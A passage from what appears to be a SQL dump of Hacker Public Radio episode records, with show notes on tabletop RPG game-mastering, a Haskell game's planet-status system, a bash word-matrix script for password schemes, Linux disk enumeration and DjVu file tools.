fair amount of gold coins in the market back in Forestdale. Too big to carry while exploring the dungeon, such a thing could always be rolled up and fetched on their way out. Not all treasure is found in wooden chests.\r\n</p><p>\r\nThen again, a lot of it is, so why not put one in the big room to the South? Of course, you have to defeat the evil wizard and his goblin cohorts, wh are hanging out in there. As a rule of thumb, you might want to sprinkle half the goblins throughout the dungeon, leaving the other half here, for the final fight. Stealth matters. Approaching the big room noisily, and kicking open one of the doors, is not stealthy. The player characters might be able to catch the wizard and his minions off-guard, if they move quietly.\r\n</p><p>\r\nIn order to be a credible threat to the player characters, this wizard should be of a slightly higher level, say 2nd or 3rd. He\'ll have some aggressive spells, and he\'ll have his goblins handy. You\'ll roll up the wizard the same way the players rolled up their characters, only you\'ll make him more experienced, and with more spells at his command. Maybe he even has a magic item of some sort. Should the players defeat this guy, this magic item will be part of the treasure; until then, it\'s something the wizard will use against them. Don\'t make it too tough. Maybe don\'t make it tough at all: a +1 Ring of Protection, maybe. Or perhaps, a +1 dagger. That might not sound like much, but it\'s more than the player character\'s have when they start.\r\n</p><p>\r\nNot enough excitement, maybe? Just add in a couple of giant rats in one of the rooms. Maybe some large spiders in another. Don\'t forget to put their statistics down in the room description. Judging how tough or easy a dungeon needs to be comes with experience. My suggestion is to err on the side of toughness, to put more challenges in there than maybe you feel comfortable with. If the player characters are looking depleted and injured, you can say the room is empty, instead of filled with spiders. Also, it doesn\'t hurt at all to remind the players now and then that it\'s okay to retreat. They can always come back another day when they\'re rested, and have made plans based on the knowledge they gained the first time around. It sets up a grudge match...the heroes vs. the evil wizard and his goblin hoard. You, as the GM, just repopulate the goblins, move them around a bit, so they\'re not all in the same rooms as before (though the big room should still be for the final fight), and //voila//! You\'ve just provided your players with two night\'s worth of entertainment, for the effort of only one.\r\n</p><p>\r\nAnd there you have it: a stocked dungeon that dovetails into the local lore of the countryside, ready for your players to explore.\r\n</p><p>\r\n\r\n\r\nSTEP 04 -- ROLLING UP CHARACTERS\r\nSome GM\'s will want a whole night just for this process. Others will just have the players arrive at the game with their characters ready to go, especially if they are experienced with the game. I won\'t go over the character creation process here, because each game is different, and some are VERY different. I mention this now, though, because the players need characters, and creating them comes before the adventure starts. If the game is as new to them as it is to you, take that whole night to help them create their characters. It\'s fun all on its own, and it allow\'s everyone to be familiar with the other characters -- something vital to party survival.\r\n</p><p>\r\nI\'m not going to go into detail about the process of rolling up characters, because, like you, Klaatu and I have dedicated an evening just to this process. In a previous episode in this mini-series, the two of us created a character from the ground up, so you can hear what\'s involved, and how you might want to approach the process with your own players.\r\n</p>\r\n<h2>Klaatu</h2>\r\n<p>\r\nIf designing your own custom dungeon seems intimidating to you, there is another way. And it\'s a time-honoured, legitimate way to play, and it\'s quite often the way I play: you go find an adventure that someone else has already written.\r\n</p><p>\r\nAn adventure is the scenario you and your players experience when you sit down at the table to play. It\'s arguably the *game* (the rulebooks are the game engine, or the mechanics). Wizards of the Coast, Paizo, Catalyst, Kobold Press, Frog God, and many others publish adventures (sometimes called \"modules\", \"scenarios\", or \"adventure paths\") written by professional game designers. Published adventures provide the story framework for your game.\r\n</p><p>\r\nNot all systems publish adventures, though, or you may choose not to use one. If that\'s the case, spend some time developing a story. Writing a good game is part science, part craft, and part magic, but if you and your players are up to the challenge, then running blindly through a story that\'s mostly being created spontaneously on the spot can be a lot of fun. If that sounds overwhelming, though, get a published adventure!\r\n</p><p>\r\nQuick tip: Free, small, or introductory adventures are often available from https://drivethrurpg.com, https://dmsguild.com, and https://www.opengamingstore.com\r\n</p><p>\r\nMany adventures have text blocks that provide you with introductory text for each part of the game, they explain clearly what the goal of the players is during that segment, and give you guidance on what players will find in the area and how those discoveries lead to the next plot point.\r\n</p><p>\r\nBroadly speaking, there are two types of published adventures: there are \"one-shots\" and there are \"modules\" or \"adventure paths\".\r\n</p><p>\r\nA one-shot adventure is analogous to a quest in a video game: it\'s a single, clearly-defined task with a very obvious and immediate result; for example, goblins are terrorizing the hapless citizens of the local village, so go to their cave and clear it out: if you do, you\'ll relieve the villagers of the horrors, and you get to keep any gold or weapons you find.\r\n</p><p>\r\nThe advantage is that it\'s designed to be a quick, one-time game session, so it\'s perfect for playing with friends you only see once in a while, or with someone who\'s never played before and just isn\'t sure if it\'s something they want to commit to. Don\'t be fooled by the page count of these small adventures: it may only be 5 to 10 pages long, sometimes less, but you\'ll be surprised at how long players can spend exploring a boundless world existing only in their imagination.\r\n</p><p>\r\nAdventure paths or modules or campaigns are bigger stories with\r\nloftier goals. You can think of them as lots of little one-shots\r\nstrung together so that once players accomplish all the tasks and\r\nsolve all the mysteries over the course of 200 pages, they have a\r\nfinal showdown with some Big Bad, and win themselves a place in the\r\nlegends of the game world. It\'s an epic poem instead of a short\r\nstory. It feels grander, it feels important. The losses along the way\r\nare more profound, and the victories sweeter. These campaigns take\r\nmonths to play through and usually expect a gaming group to meet\r\nweekly or fortnightly or at least monthtly to work their way through\r\nthe tale.\r\n</p><p>\r\nI should mention one more kind of book you might stumble across, and\r\nthose are source books. I mention this because I\'ve had friends go and\r\nbuy books more or less blindly, and then they bring them back home\r\ndisappointed that instead of a book of lore about dark elves, they\r\nbought an adventure set in the underdark. Or the other way round: they\r\nwanted an adventure and ended up with a rule book.\r\n</p><p>\r\nThis happens with the bigger systems that produce a lot of media, like\r\n{D&amp;D, Shadowrun, Pathfinder, Warhammer}, so get clarity on what you\'re\r\nbuying before you make a purchase. If you come across a cool ShadowRun\r\nbook called RUN FASTER expecting a campaign to run with your friends,\r\nyou\'ll be surprised to find that you\'ve purchased a source book full\r\nof metatypes, expanded rules, and alternate character creation\r\nmethods: sort of a Shadowrun Core Rulebook part 2. Same goes for, say,\r\nVolo\'s Guide with D&amp;D, or Ultimate Campaign in Pathfinder. It can be\r\noverwhelming and they\'re not aways labelled clearly (or if they are,\r\nthe label gets lost in the word cloud of RPG jargon that you\'re not\r\nused to yet), so do a little research first.\r\n</p><p>\r\nI\'ve played through dungeons that a GM created over his lunch break, and I\'ve played through adventures written by clever game designers, and I can confidently say that they\'re both great ways to RPG. But as a GM, if you feel overwhelmed by the idea of designing a dungeon, a published adventure is a great way to start. Aside from reading a chapter ahead before each game night, all the prep work is done for you, and there\'s very little thinking required.\r\n</p><p>\r\nAnother part of being GM is deciding when a die roll is necessary. Die rolls represent the chance of success or failure when a specific action is taken, but the confusing thing is: if you think hard enough about anything in the world you can find a chance of success or failure. As a GM, it\'s up to you to decide what\'s \"important\" enough for a roll. Strictly speaking, that\'s determined by the rules. The rules told you what requires a roll, and you\'re expected to know the rules well enough to make the call.\r\n</p><p>\r\nIn practise, however, you have a lot of stuff to track in you head, and remembering what requires a die roll, or deciding to request a die roll even though it may not be strictly required, can feel overwhelming for a new GM.\r\n</p><p>\r\nGood news: Players intuitively know when to roll dice. A player knows their character\'s skills (because they built the character and wrote it down on their character sheet), so sometimes the actions they choose to take are chosen because it falls within a category of a skill they happen to have. A thief probably wouldn\'t ever think to *look* for hidden door if the thief were a fighter (who would more likely think to pound on the wall rather than to slyly look for a hidden door). So if your player reaches for dice, let them roll because they\'re probably right.\r\n</p><p>\r\nI\'m sure it\'s possible to take it too far, but people like to roll dice. It\'s part of the fun of an RPG, the uncertainty of subjecting yourself to the whims of fate. So when in doubt, either make your players roll dice, or roll dice yourself. I use dice rolls to help me decide everything from NPC reactions to weather conditions. It\'s usually safe to default to rolling.\r\n</p><p>\r\nWorst case scenario is that die are only picked up for fights and a literal interpretation of skills: and that works because those are the rules as written.\r\n</p><h2>Klaatu</h2>\r\n<p>\r\nPlayers drive the story. In video game or movie terminology, they control the \"camera\". When players are exploring or investigating, let them ask questions or take actions (\"I look in the closet\"), and answer them as you see fit (\"You open the closest and see an array of fine garments.\")\r\n</p><p>\r\n\"I\'ll move the clothes aside and examine the walls, and the floor. I\'m looking for trap doors or hidden compartments, or anything suspicious.\"\r\n</p><p>\r\nAnd so on. Players can choose to investigate and explore for as much as they want. That\'s the beauty of a pen-and-paper RPG: the world is infinite. That said, you\'re the GM and you owe it to your players to keep the game moving. You don\'t to let your players spend 3 real hours searching a room that, in the end, has no bearing upon the plot whatsoever.    That can be a delicate matter, because the nature of the game means that you know things that the other players don\'t, meaning much of the puzzle for players is what they don\'t know.\r\n</p><p>\r\nUsually I let players explore a space on their own until I feel that they\'ve explored the obvious parts of it, and then I remind them where the exits are, or I remind them how many other rooms there are to explore, or some subtle clue to say, without saying, that they\'ve secured an area.\r\n</p><p>\r\nIf players are especially suspicious of something, though, you certainly have the power to generate a subplot, and often times you should do that. It\'s fun for you and rewarding to players. For instance, if a player is convinced that there\'s a secret panel in a closet and spends a lot of time investigating, then you might decide that there IS a secret panel in the closet, and then roll on a random table to determine what could possible inside that compartment. Or you could leave the compartment empty, thereby creating a story hook to return to later...what used to be in that compartment? who took it, and why? What were the implications?\r\n</p><p>\r\nKeeping the gaming moving is an inexact, unscientific process, but usually it comes pretty naturally. When you start to get bored of the players exploring, you can bet that they\'re probably getting bored too, and that\'s when you know to urge them forward. If all else fails, you can always have something lure them from one space to another: a mysterious sound, an oncoming threat, or a supernatural or divine instinct.\r\n</p>\r\n',78,95,0,'CC-BY-SA','rpg,dm,gm,game master,dungeon master,dnd',0,0,1),
(2762,'2019-03-05','What You Really Are',996,'Lostnbronx looks back at his early gaming days.','<p>I got into Dungeons &amp; Dragons back in the 1970s. This is my memory of that time and that gaming group, and especially, of the guy who taught me how to play.</p>',107,95,0,'CC-BY-SA','gaming, D&D, lostnbronx',0,0,1),
(2763,'2019-03-06','Deepgeek explains SPF records',849,'Confused about SPF? Klaatu was. Here\'s Deepgeek\'s explanation.','<p>\r\nKlaatu reads a <a href=\"https://gopher.info-underground.net:70/scottphlog/9997-SPF-Intro.txt\" target=\"_blog\">phlog &#40;gopher&#41; post</a> by Deepgeek explaining the practical uses of SPF records.\r\n</p>',78,99,0,'CC-BY-SA','email,spf,mx,postfix,smtp',0,0,1),
(2770,'2019-03-15','Navigating the maze of RPG books',1873,'There are so many kinds of RPG books out there, where do you start? Klaatu tells all!','<p>\r\nTaxonomy of RPG-related books:\r\n</p>\r\n\r\n<ol>\r\n<li><p>\r\nRulebooks tell you how to play the game.\r\n</p></li>\r\n<li><p>\r\nOptional books of rules add modular components to the base game. They add nuance to specific actions (for example, a book might add rules on owning and managing a castle in a fantasy world, or it might add rules on hacking in a sci fi game; these are things you can do without rules in the game, but if you want added stakes, then these books are ones you would want to obtain).\r\n</p></li>\r\n<li><p>\r\nAdventures (formerly called \"modules\") provide game plots and locations, in the event that you have no interest in designing your own.\r\n</p></li>\r\n<li><p>\r\nSource books or \"settings\" provide additional information on the setting of a game, sometimes even providing an alternate game universe with additional rules.\r\n</p></li>\r\n<li><p>\r\nExtra media, like novels, comics, movies, and video games, provide more information (sometimes in canon, sometimes not) about the game universe in which you are playing. Rarely do these have impact on the rules of the game, but they may provide a common language and shared experience for the players.\r\n</p></li>\r\n</ol>\r\n\r\n<p>\r\nThe only essential purchase is the rulebook. Everything else can be generated by gamers. Purchasing additional material is optional, and can either be seen as a great way to support a company providing your entertainment, or as an insidious plot by greedy corporations to rope you into a perpetual cycle of capitalism.  However, RPG is a pretty healthy (and often open) system, so free and open content abounds.\r\n</p>\r\n\r\n\r\n',78,95,0,'CC-BY-SA','book,rpg,game',0,0,1),
(2782,'2019-04-02','Never stop gaming',1277,'Ways to feed the gaming impulse, even when you can\'t game','<p>\r\nShownotes are on <a href=\"https://mixedsignals.ml/games/blog/blog/blog_lifestyle-gamer\" target=\"_blank\">mixedsignals.ml</a>\r\n</p>',78,95,0,'CC-BY-SA','rpg,dm,gm,game master,dungeon master,dnd',0,0,1),
(2795,'2019-04-19','Dead Earth',2210,'A review of a 20-year old, GNU Free Documentation Licensed, RPG about post-apocalyptic turmoil','<p>\r\nFull shownotes are on <a href=\"https://mixedsignals.ml/games/blog/blog/blog_dead-earth\" target=\"_blank\">mixedsignals.ml</a>\r\n</p>\r\n\r\n<p>\r\nYou can download Klaatu\'s update revision of the game materials here: <a href=\"https://mixedsignals.ml/download/deadearth-bundle-gfdl.7z\">https://mixedsignals.ml/download/deadearth-bundle-gfdl.7z</a>\r\n</p>',78,95,0,'CC-BY-SA','RPG,Tabletop Game,Dead Earth',0,0,1),
(2768,'2019-03-13','Writing Web Game in Haskell - Planetary statuses',1122,'tuturto describes system for recording planetary statuses in their game','<h2 id=\"intro\">Intro</h2>\r\n<p>In episode hpr2748 Writing Web Game in Haskell - Special events, I talked about how to add special events in the game. One drawback with the system presented there was that the kragii worms might attack planet that already had kragii worms present. This time we’ll look into how to prevent this. As a nice bonus, we also come up with system that can be used to record when a planet has particularly good harvest season.</p>\r\n<h2 id=\"data-types-and-database\">Data types and Database</h2>\r\n<p>We need a way to represent different kinds of statuses that a planet might have. These will include things like on going kragii attack or a particularly good harvest season. And since these are will be stored in database, we are also going to use derivePersistField to generate code needed for that.</p>\r\n<pre><code>data PlanetaryStatus =\r\n    GoodHarvest\r\n    | PoorHarvest\r\n    | GoodMechanicals\r\n    | PoorMechanicals\r\n    | GoodChemicals\r\n    | PoorChemicals\r\n    | KragiiAttack\r\n\r\nderivePersistField &quot;PlanetaryStatus&quot;</code></pre>\r\n<p>We could have recorded statuses as strings, but declaring a separate data type means that compiler can catch typos for us. It also makes code easier to read as <code>PlanetaryStatus</code> is much more informative than <code>String</code> or <code>Text</code>.</p>\r\n<p>For database, we use following definition shown below in models file. It creates database table <code>planet_status</code> and respective Haskell data type <code>PlanetStatus</code>. There will be one row in database for each status that a planet has. I could have stored all statuses in a list and store that in database, effectively having one row for any planet. Now there’s one row for any planet + status combination. Choice wasn’t really based on any deep analysis, but merely a gut feeling that this feels like a good idea.</p>\r\n<pre><code>PlanetStatus json\r\n    planetId PlanetId\r\n    status PlanetaryStatus\r\n    expiration Int Maybe\r\n    deriving Show Read Eq</code></pre>\r\n<p><code>expiration</code> column doesn’t have <code>NOT NULL</code> constraint like all other columns in the table. This is reflected in <code>PlanetStatus</code> record where data type of <code>planetStatusExpiration</code> is <code>Maybe Int</code> instead of <code>Int</code>. So some statuses will have expiration time, while others might not. I originally chose to represent time as <code>Int</code> instead of own data type, but I have been recently wondering if that was really a good decision.</p>\r\n<h2 id=\"kragii-attack-redux\">Kragii attack, redux</h2>\r\n<p>Code that does actual database query looks pretty scary on a first glance and it’s rather long. First part of the code is there to query database and join several tables into the query. Second part of the code deals with counting and grouping data and eventually returning <code>[Entity Planet]</code> data that contains all planets that match the criteria.</p>\r\n<pre><code>-- | Load planets that are kragii attack candidates\r\nkragiiTargetPlanets :: (MonadIO m, BackendCompatible SqlBackend backend\r\n                           , PersistQueryRead backend, PersistUniqueRead backend) =&gt;\r\n                           Int -&gt; Int -&gt; Key Faction -&gt; ReaderT backend m [Entity Planet]\r\nkragiiTargetPlanets pop farms fId = do\r\n    planets &lt;- E.select $\r\n        E.from $ (planet `E.LeftOuterJoin` population `E.LeftOuterJoin` building `E.LeftOuterJoin` status) -&gt; do\r\n            E.on (status E.?. PlanetStatusPlanetId E.==. E.just (planet E.^. PlanetId)\r\n                  E.&amp;&amp;. status E.?. PlanetStatusStatus E.==. E.val (Just KragiiAttack))\r\n            E.on (building E.?. BuildingPlanetId E.==. E.just (planet E.^. PlanetId))\r\n            E.on (population E.?. PlanetPopulationPlanetId E.==. E.just (planet E.^. PlanetId))\r\n            E.where_ (planet E.^. PlanetOwnerId E.==. E.val (Just fId)\r\n                      E.&amp;&amp;. building E.?. BuildingType E.==. E.val (Just Farm)\r\n                      E.&amp;&amp;. E.isNothing (status E.?. PlanetStatusStatus))\r\n            E.orderBy [ E.asc (planet E.^. PlanetId) ]\r\n            return (planet, population, building)\r\n    let grouped = groupBy ((a, _, _) (b, _, _) -&gt; entityKey a == entityKey b) planets\r\n    let counted = catMaybes $ fmap farmAndPopCount grouped\r\n    let filtered = filter ((_, p, f) -&gt;\r\n                                p &gt;= pop\r\n                                || f &gt;= farms) counted\r\n    let mapped = fmap ((ent, _, _) -&gt; ent) filtered\r\n    return mapped</code></pre>\r\n<p>In any case, when we’re querying for possible kragii attack candidates, the query selects all planets that are owned by a given faction and have population of at least 10 (left outer join to <code>planet_population</code> table), have at least 5 farming complex (left outer join to <code>building</code> table) and don’t have on going kragii attack (left outer join to <code>planet_status</code> table). This is encapsulated in <code>kragiiTargetPlanets 10 5</code> function in the <code>kragiiAttack</code> function shown below.</p>\r\n<p>Rest of the code deals with selecting a random planet from candidates, inserting a new <code>planet_status</code> row to record that kragii are attacking the planet and creating special event so player is informed about the situation and can react accordingly.</p>\r\n<pre><code>kragiiAttack date faction = do\r\n    planets &lt;- kragiiTargetPlanets 10 5 $ entityKey faction\r\n    if length planets == 0\r\n        then return Nothing\r\n        else do\r\n            n &lt;- liftIO $ randomRIO (0, length planets - 1)\r\n            let planet = maybeGet n planets\r\n            let statusRec = PlanetStatus &lt;$&gt; fmap entityKey planet\r\n                                         &lt;*&gt; Just KragiiAttack\r\n                                         &lt;*&gt; Just Nothing\r\n            _ &lt;- mapM insert statusRec\r\n            starSystem &lt;- mapM (getEntity . planetStarSystemId . entityVal) planet\r\n            let event = join $ kragiiWormsEvent &lt;$&gt; planet &lt;*&gt; join starSystem &lt;*&gt; Just date\r\n            mapM insert event</code></pre>\r\n<p>Second piece to the puzzle is status removal. In can happen manually or automatically when the prerecorded date has passed. Former method is useful for special events and latter for kind of seasonal things (good harvest for example).</p>\r\n<p>For example, in case of removing kragii attack status, code below serves as an example. The interesting part is <code>deleteWhere</code> that does actual database activity and removes all <code>KragiiAttack</code> statuses from given planet.</p>\r\n<pre><code>removeNews event odds = MaybeT $ do\r\n    res &lt;- liftIO $ roll odds\r\n    case res of\r\n        Success -&gt; do\r\n            _ &lt;- lift $ deleteWhere [ PlanetStatusPlanetId ==. kragiiWormsPlanetId event\r\n                                    , PlanetStatusStatus ==. KragiiAttack\r\n                                    ]\r\n            _ &lt;- tell [ WormsRemoved ]\r\n            return $ Just RemoveOriginalEvent\r\n        Failure -&gt; do\r\n            _ &lt;- tell [ WormsStillPresent ]\r\n    return $ Just KeepOriginalEvent</code></pre>\r\n<p>Removal of expired statuses is done based on the date, by using <code>&lt;=.</code> operator to compare <code>expiration</code> column to given date.</p>\r\n<pre><code>_ &lt;- deleteWhere [ PlanetStatusExpiration &lt;=. Just date]</code></pre>\r\n<h2 id=\"other-uses-and-further-plans\">Other uses and further plans</h2>\r\n<p>Like mentioned before, planet statuses can be used for variety of things. One such application is recording particularly good (or poor) harvest season. When such thing occurs, new <code>planet_status</code> record is inserted into database with <code>expiration</code> to set some suitable point in future. System will then automatically remove the status after that date is reached.</p>\r\n<p>In the meantime, every time food production is calculated, we have to check for possible statuses that might affect it and take them into account (as form of small bonus or malus).</p>\r\n<p>While this system is for planet statuses only, similar systems can be build for other uses (like statuses that affect a single ship or whole star system).</p>\r\n<p>Easiest way to catch me nowadays is either via email or on fediverse where I’m tuturto@mastodon.social</p>\r\n',364,107,0,'CC-BY-SA','haskell',0,0,1),
(2764,'2019-03-07','Personal password algorithms',2444,'Is it possible to generate a unique password for every site? Klaatu tries.','<p>\r\nHere is a bash script to generate an org-mode word list matrix.\r\nIt requires at least one file ending in <code>.list</code> to be used as a source of words or strings.\r\n</p>\r\n\r\n<pre><code>\r\n#!/bin/bash\r\n\r\nif [ -z $1 ]; then\r\n    DEST=matrix.org\r\nelse\r\n    DEST=$1\r\nfi\r\n\r\ncat &gt;&gt; \"${DEST}\" &lt;&lt;EOF\r\n| | a | b | c | d | e | f | g | h | i | j | k | l | m | n | o | p | q | r | s | t | u | v | w | x | y | z | ? |\r\n|-+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---|\r\nEOF\r\n\r\nVERT=(a b c d e f g h i j k l m n o p q r s t u v w x y z ?)\r\n\r\ncat *list &gt; tmp || exit\r\n\r\nBIG=`wc -l tmp | cut -f1 -d\' \'`\r\n\r\nc=\"0\"\r\n\r\nwhile [ \"$c\" -lt \"27\" ]; do\r\n    # horizontal row across\r\n    n=\"0\"\r\n    v=`echo ${VERT[$c]}`\r\n    printf \"| $v |\" &gt;&gt; \"${DEST}\"\r\n    while [ \"$n\" -lt \"27\" ]; do\r\n	i=`echo $((1 + RANDOM % $BIG))`\r\n	w=`awk \"FNR==$i\" tmp`\r\n	#reduce chance of empty cell\r\n	if [[ -z $w ]]; then\r\n	    i=`echo $((1 + RANDOM % $BIG))`\r\n	    w=`awk \"FNR==$i\" tmp`\r\n	    echo \"blank cell found\"\r\n	fi\r\n	printf \"$w | \" &gt;&gt; \"${DEST}\"\r\n	n=$[$n+1]\r\n    done\r\n    echo \" \" &gt;&gt; \"${DEST}\"\r\n    c=$[$c+1]\r\ndone\r\n\r\n/usr/bin/rm tmp\r\n</code></pre>\r\n\r\n<p>\r\nWhen you open the resulting file (matrix.org by default) in emacs, use the fill-paragraph (m-x fill-paragraph) function to align the cells into a pretty table.\r\n</p>\r\n\r\n<p>\r\nInvent your own key, and generate some test passwords.\r\nDo this 6 or 8 times, and then try to reverse the key using the passwords and the table.\r\nIf the logic to reverse the key is too simple, then try using values relying on the metadata, rather than data, of the table (for instance, the number of letters in the first word in the table starting with the same letter as the site name, or whatever).\r\n</p>\r\n\r\n<p>\r\nDo you have analogue methods of generating passwords?\r\nPost ideas to either the comments or, better yet, as an HPR episode!\r\n</p>\r\n\r\n<p>\r\n    Here is a word list for testing:<br/>\r\n    <a href=\"https://hackerpublicradio.org/eps/hpr2764_wordlist.html\">https://hackerpublicradio.org/eps/hpr2764_wordlist.html</a>\r\n</p>\r\n',78,99,0,'CC-BY-SA','password,security,algorithm,puzzle,cipher',0,0,1),
(2766,'2019-03-11','Disk enumeration on Linux',1443,'Klaatu reviews the various commands used to enumerate drives on Linux','<p>\r\nThe old way:\r\n</p>\r\n\r\n<pre><code>\r\n$ ls /dev/sd*\r\n</code></pre>\r\n\r\n<p>\r\nAnother old way:\r\n</p>\r\n\r\n<pre><code>\r\n$ fdisk --list\r\n</code></pre>\r\n\r\n<p>\r\nAn old way to see what you just plugged in:\r\n</p>\r\n\r\n<pre><code>\r\n$ sudo dmesg | tail\r\n</code></pre>\r\n\r\n<p>\r\nSome new tricks:\r\n</p>\r\n<pre><code>\r\n$ lsblk\r\nNAME   MAJ:MIN RM   SIZE RO TYPE MOUNTPOINT\r\nsda      8:0    0   2.7T  0 disk \r\n├─sda1   8:1    0  23.3G  0 part \r\n└─sda2   8:2    0   2.7T  0 part \r\nsdb      8:16   0   3.9G  0 disk \r\nsdc      8:32   0 111.8G  0 disk \r\n├─sdc1   8:33   0   100M  0 part /boot/efi\r\n└─sdc2   8:34   0 111.7G  0 part /\r\nsdd      8:48   0   1.8T  0 disk \r\n├─sdd1   8:49   0   120G  0 part /var\r\n├─sdd2   8:50   0   120G  0 part /tmp\r\n├─sdd3   8:51   0    60G  0 part /opt\r\n└─sdd4   8:52   0   1.5T  0 part /home\r\nsde      8:64   0 298.1G  0 disk \r\n├─sde1   8:65   0   500M  0 part \r\n├─sde2   8:66   0 296.8G  0 part \r\n└─sde3   8:67   0   826M  0 part \r\nsdf      8:80   0 931.5G  0 disk \r\n└─sdf1   8:81   0 931.5G  0 part \r\nsdg      8:96   1   7.5G  0 disk \r\n└─sdg1   8:97   1   7.5G  0 part \r\n</code></pre>\r\n\r\n<p>\r\nUser-friendly udisks:\r\n</p>\r\n\r\n<pre><code>\r\n$ udisks --monitor /dev\r\nCtrl-c\r\n$ udisk --enumerate | sort\r\n/org/freedesktop/UDisks/devices/sda\r\n/org/freedesktop/UDisks/devices/sda1\r\n/org/freedesktop/UDisks/devices/sda2\r\n/org/freedesktop/UDisks/devices/sdb\r\n/org/freedesktop/UDisks/devices/sdc\r\n/org/freedesktop/UDisks/devices/sdc1\r\n[...]\r\n$ udisks --mount /dev/sdc1\r\nMounted /dev/sdc1 on /media/mythumbdrive\r\n$ udisks --unmount /dev/sdc1\r\n</code></pre>\r\n',78,0,0,'CC-BY-SA','fdisk,dmesg,lsblk,udisks',0,0,1),
(2767,'2019-03-12','Djvu and other paperless document formats',1935,'A tutorial on how to read and generate djvu files','<p>\r\nDjVu is a digital document format with advanced compression technology. \r\nDjVu allows for the distribution of very high resolution images of scanned documents, digital documents, and photographs. \r\nDjVu viewers are available for the <a href=\"https://github.com/RussCoder/djvujs\" target=\"_blank\">web browser</a> (search for djvujs in Firefox for an extension), the desktop ( <a href=\"https://wiki.gnome.org/Apps/Evince\" target=\"_blank\">Evince</a>,  <a href=\"https://okular.kde.org/\" target=\"_blank\">Okular</a> an BSD/Linux, and <a href=\"https://djvu.sourceforge.net/djview4.html\" target=\"_blank\">djview</a> on BSD/Linux/Windows/Mac), and <a href=\"https://f-droid.org/en/packages/org.sufficientlysecure.viewer/\" target=\"_blank\">mobile</a> devices.\r\n</p>\r\n\r\n<p>\r\nThe toolchain for encoding and decoding DjVu is \r\n<a href=\"https://djvu.sourceforge.net/\" target=\"_blank\">djvulibre</a>\r\n</p>\r\n<p>\r\n<a href=\"https://djvu.js.org/\" target=\"_blank\">djvu.js</a> is a Javascript library useful for online viewing.\r\n</p>\r\n\r\n<p>\r\n<a href=\"https://djvu.org/\" target=\"_blank\">djvu.org</a> contains sample documents and specification documents.</p>\r\n\r\n<h2>Creating a djvu file</h2>\r\n\r\n<p>\r\nThe tool you use to convert something to the .djvu format depends on your requirements. If you\'re converting a basic, black-and-white document, then <code>cjb2</code> (part of the djvulibre distribution) works:\r\n</p>\r\n\r\n<pre><code>\r\n$ cjb2 -dpi 300 foo.tiff\r\n$ ls\r\nfoo.tiff\r\nfoo.djvu\r\n</code></pre>\r\n\r\n<p>\r\nIf you want to convert something more complex, then use <code>c44</code> (also a part of the djvulibre distribution):\r\n</p>\r\n\r\n<pre><code>\r\n$ c44 -dpi 300 bar.jpg bar.djvu\r\n$ ls\r\nbar.jpg\r\nbar.djvu\r\n</code></pre>\r\n\r\n<p>\r\nTo put both of these files in a single DjVu container:\r\n</p>\r\n\r\n<pre><code>\r\n$ djvm -c baz.djvu foo.djvu bar.djvu\r\n$ ls\r\nbar.djvu\r\nbaz.djvu\r\nfoo.djvu\r\n</code></pre>\r\n\r\n<p>\r\nYou can add bookmarks, too.\r\nOpen a text file called <code>book.marks</code> (or any name you prefer) and enter:\r\n<p/>\r\n\r\n<pre><code>\r\n(bookmarks\r\n(\"Foo\" \"#1\")\r\n(\"Bar\" \"#2\")\r\n)\r\n</code></pre>\r\n\r\n<p>\r\nAnd then apply it to your DjVu file:\r\n</p>\r\n\r\n<pre><code>\r\n$ djvused -e \'set-outline book.marks\' -s baz.djvu\r\n</code></pre>\r\n\r\n<p>\r\nThere\'s more you can do with DjVu, but this has been an overview of how I use it.\r\n</p>\r\n',78,0,0,'CC-BY-SA','pdf, ebook, bloat, djvu',0,0,1),
(2773,'2019-03-20','Lead/Acid Battery Maintenance and Calcium Charge Voltage',1869,'Discussion on installing new Calcium battery into older vehicle and resulting maintenance issues.','<p>Although Lead/Acid batteries are old tech, the use of Calcium as an alloy metal has been a more modern development. Unfortunately many people do not realize this causes an incompatibility with older vehicles due to charging voltage. This episode discusses the use of smart chargers for long term battery maintenance.</p>',373,0,0,'CC-BY-SA','automotive, battery, maintenance, charger',0,0,1),
(2769,'2019-03-14','Quick Review of the AstroAI WH5000A Multimeter',1455,'NYbill reviews, yet another, inexpensive multimeter.','<p>NYbill does <b>yet another</b> inexpensive multimeter review. This time the AstroAI WH5000A. (Its time for a multimeter intervention!)</p>\r\n<p>The meter:</p>\r\n<ul>\r\n<li><a href=\"https://www.astroai.com/portfolio-items/astroai-digital-multimeter-trms-6000-counts-multimeters/\" class=\"uri\">https://www.astroai.com/portfolio-items/astroai-digital-multimeter-trms-6000-counts-multimeters/</a></li>\r\n</ul>\r\n<p>Pics for the episode:</p>\r\n<ul>\r\n<li><a href=\"https://media.gunmonkeynet.net/u/nybill/collection/astroai-wh5000a-dmm/\" class=\"uri\">https://media.gunmonkeynet.net/u/nybill/collection/astroai-wh5000a-dmm/</a></li>\r\n</ul>',235,0,0,'CC-BY-SA','multimeter, electronics, test equipment, hardware review',0,0,1),
(2771,'2019-03-18','Embedding hidden text in Djvu files',2476,'Part 2 of Klaatu\'s Djvu mini series','<p>\r\nTo embed text into a Djvu file, you must create a <code>djvused</code> script detailing the page and bitmap location of one of: character, word, line, paragraph, or region.\r\n</p>\r\n\r\n<p>\r\nFor good measure, you should first list the contents of your Djvu bundle:\r\n</p>\r\n\r\n<pre><code>$ djvused -e \'select; ls\' test.djvu\r\n   1 P   177062  p0001.djvu\r\n   2 P   199144  p0002.djvu\r\n   3 P    12323  p0003.djvu\r\n   4 P    57059  p0004.djvu\r\n   5 P    96725  p0005.djvu\r\n   6 P    53868  p0006.djvu\r\n</code></pre>\r\n\r\n<p>\r\nThen define the location of text in a file called, for instance, <code>content.dsed</code>. Assume that my page is 1000 px by 1000 px&#58;\r\n</p>\r\n\r\n<pre><code>select; remove-ant; remove-txt\r\n\r\nselect \"p0004.djvu\" # page 4\r\nset-txt\r\n(page 0 0 1000 1000\r\n (word 100 600 450 800 \"Hello\" )\r\n (word 100 600 450 800 \"world\" ))\r\n\r\n.\r\n\r\nselect \"p0005.djvu\"\r\nset-txt\r\n(page 0 0 1000 1000\r\n (line 100 400 900 600 \"Hacker Puppy Radio\"))\r\n</code></pre>\r\n\r\n<p>\r\nApply this script to your Djvu file with <code>dvjused</code>&#58;\r\n</p>\r\n\r\n<pre><code>djvused -f ./content.dsed -s test.djvu\r\n</code></pre>\r\n\r\n<h2>Converting from PDF to Djvu</h2>\r\n\r\n<p>\r\nYou can convert PDF files to Djvu with the <code>djvudigital</code> command. Due to license incompatibility, it does require you to compile a Ghostscript plugin, but 